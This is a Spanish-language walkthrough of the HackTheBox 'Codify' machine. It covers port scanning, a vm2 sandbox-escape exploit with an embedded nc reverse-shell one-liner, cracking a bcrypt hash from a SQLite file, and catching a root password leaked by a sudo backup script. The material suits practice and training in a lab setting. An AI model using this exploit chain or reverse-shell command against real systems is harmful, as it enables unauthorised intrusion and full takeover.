Codify es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Codify 10.129.156.110 a /etc/hosts como codify.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.156.110 Nmap scan report for 10.129.156.110 Host is up, received echo-reply ttl 63 (0.058s latency). Scanned at 2023-11-05 11:44:21 GMT for 15s Not shown: 63616 closed tcp ports (reset), 1916 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 3000/tcp open ppp syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Sun Nov 5 11:44:36 2023 -- 1 IP address (1 host up) scanned in 15.46 seconds |
Una vez descubiertos los puertos abiertos, lanzamos un segundo escaneo más detallado sobre los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
$ nmap -sCV -p 22,80,3000 -oA enumeration/nmap2 -Pn 10.129.156.110 Nmap scan report for 10.129.156.110 Host is up (0.046s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA) |_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-title: Did not follow redirect to http://codify.htb/ |_http-server-header: Apache/2.4.52 (Ubuntu) 3000/tcp open http Node.js Express framework |_http-title: Codify Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Nov 5 11:44:58 2023 -- 1 IP address (1 host up) scanned in 14.79 seconds |
Enumeración
Accedemos al portal web en la dirección de codify.htb

Se trata de un portal para el testeo de código en nodejs, revisamos en la página de limitations las limitaciones existentes

Y vemos las limitaciones que tiene el editor en cuanto a librerías y funciones que pueden ser utilizadas en el mismo.
Revisamos la página de about us

Y vemos un enlace a la librería utilizada, vm2 en la versión 3.9.16
Así que buscamos en google y encontramos en github una poc para explotar la misma
Así que nos vamos al editor y metemos el código malicioso
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
const {VM} = require("vm2"); const vm = new VM(); const code = ` err = {}; const handler = { getPrototypeOf(target) { (function stack() { new Error().stack; stack(); })(); } }; const proxiedErr = new Proxy(err, handler); try { throw proxiedErr; } catch ({constructor: c}) { c.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.92 4444 >/tmp/f'); } ` console.log(vm.run(code)); |
Ejecutamos y tendremos una revshell con el usuario svc
|
1 2 3 4 5 6 7 8 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.92] from (UNKNOWN) [10.129.156.110] 48346 bash: cannot set terminal process group (1238): Inappropriate ioctl for device bash: no job control in this shell svc@codify:~$ whoami whoami svc |
Escalado al usuario joshua
Enumeramos la máquina y encontramos un fichero sqlite en el directorio de la app web
|
1 2 3 4 5 6 7 8 9 10 11 |
svc@codify:/var/www/contact$ ls -l ls -l total 112 -rw-rw-r-- 1 svc svc 4377 Apr 19 2023 index.js -rw-rw-r-- 1 svc svc 268 Apr 19 2023 package.json -rw-rw-r-- 1 svc svc 77131 Apr 19 2023 package-lock.json drwxrwxr-x 2 svc svc 4096 Apr 21 2023 templates -rw-r--r-- 1 svc svc 20480 Sep 12 17:45 tickets.db svc@codify:/var/www/contact$ file tickets.db file tickets.db tickets.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 17, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 17 |
Y si revisamos con strings encontramos el hash del usuario joshua
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
svc@codify:/var/www/contact$ strings tickets.db strings tickets.db SQLite format 3 otableticketstickets CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P Ytablesqlite_sequencesqlite_sequence CREATE TABLE sqlite_sequence(name,seq) tableusersusers CREATE TABLE users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT UNIQUE, password TEXT )) indexsqlite_autoindex_users_1users joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2 joshua users tickets Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open Tom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open |
Lo pasamos por john y conseguimos la password en plano
|
1 2 3 4 5 6 7 8 9 10 |
$ john hash -w=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 4096 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status spongebob1 (?) 1g 0:00:01:27 DONE (2023-11-05 12:01) 0.01145g/s 15.46p/s 15.46c/s 15.46C/s crazy1..eunice Use the "--show" option to display all of the cracked passwords reliably Session completed. |
Obteniendo la flag de user
Accedemos por ssh y obtenemos la primera flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
$ ssh joshua@codify.htb The authenticity of host 'codify.htb (10.129.156.110)' can't be established. ED25519 key fingerprint is SHA256:Q8HdGZ3q/X62r8EukPF0ARSaCd+8gEhEJ10xotOsBBE. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'codify.htb' (ED25519) to the list of known hosts. joshua@codify.htb's password: Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sun Nov 5 12:02:15 PM UTC 2023 System load: 0.0 Usage of /: 69.1% of 6.50GB Memory usage: 20% Swap usage: 0% Processes: 243 Users logged in: 0 IPv4 address for br-030a38808dbf: 172.18.0.1 IPv4 address for br-5ab86a4e40d0: 172.19.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for eth0: 10.129.156.110 IPv6 address for eth0: dead:beef::250:56ff:fe96:eee6 Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status joshua@codify:~$ id uid=1000(joshua) gid=1000(joshua) groups=1000(joshua) joshua@codify:~$ cat user.txt 2dbxxxxxxxxxxxxxxxxxxxxxxxxbde joshua@codify:~$ |
Escalado de privilegios
Para el escalado a root, revisamos los permisos del usuario
|
1 2 3 4 5 6 7 |
joshua@codify:~$ sudo -l [sudo] password for joshua: Matching Defaults entries for joshua on codify: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User joshua may run the following commands on codify: (root) /opt/scripts/mysql-backup.sh |
El cual puede ejecutar como root el siguiente script
|
1 2 |
joshua@codify:~$ ls -l /opt/scripts/mysql-backup.sh -rwxr-xr-x 1 root root 928 Nov 2 12:26 /opt/scripts/mysql-backup.sh |
Cuyo código es
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
joshua@codify:~$ cat /opt/scripts/mysql-backup.sh #!/bin/bash DB_USER="root" DB_PASS=$(/usr/bin/cat /root/.creds) BACKUP_DIR="/var/backups/mysql" read -s -p "Enter MySQL password for $DB_USER: " USER_PASS /usr/bin/echo if [[ $DB_PASS == $USER_PASS ]]; then /usr/bin/echo "Password confirmed!" else /usr/bin/echo "Password confirmation failed!" exit 1 fi /usr/bin/mkdir -p "$BACKUP_DIR" databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)") for db in $databases; do /usr/bin/echo "Backing up database: $db" /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz" done /usr/bin/echo "All databases backed up successfully!" /usr/bin/echo "Changing the permissions" /usr/bin/chown root:sys-adm "$BACKUP_DIR" /usr/bin/chmod 774 -R "$BACKUP_DIR" /usr/bin/echo 'Done!' |
Si revisamos el mismo, vemos que mete la password en plano en el comando de mysql, ejecutamos para comprobarlo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
joshua@codify:~$ sudo /opt/scripts/mysql-backup.sh Enter MySQL password for root: Password confirmed! mysql: [Warning] Using a password on the command line interface can be insecure. Backing up database: mysql mysqldump: [Warning] Using a password on the command line interface can be insecure. -- Warning: column statistics not supported by the server. mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES Backing up database: sys mysqldump: [Warning] Using a password on the command line interface can be insecure. -- Warning: column statistics not supported by the server. All databases backed up successfully! Changing the permissions Done! |
Y vemos el warning de que usar la password en el comando no es recomendable
|
1 |
mysql: [Warning] Using a password on the command line interface can be insecure. |
Así que ejecutamos pspy para analizar los procesos y lanzamos de nuevo

Y vemos la password en plano.
Obteniendo la flag de root
Con la password obtenida escalamos a root y cogemos la flag
|
1 2 3 4 5 6 7 |
joshua@codify:~$ su - Password: root@codify:~# id uid=0(root) gid=0(root) groups=0(root) root@codify:~# cat root.txt 21xxxxxxxxxxxxxxxxxxxxxxxxxxxx82f root@codify:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










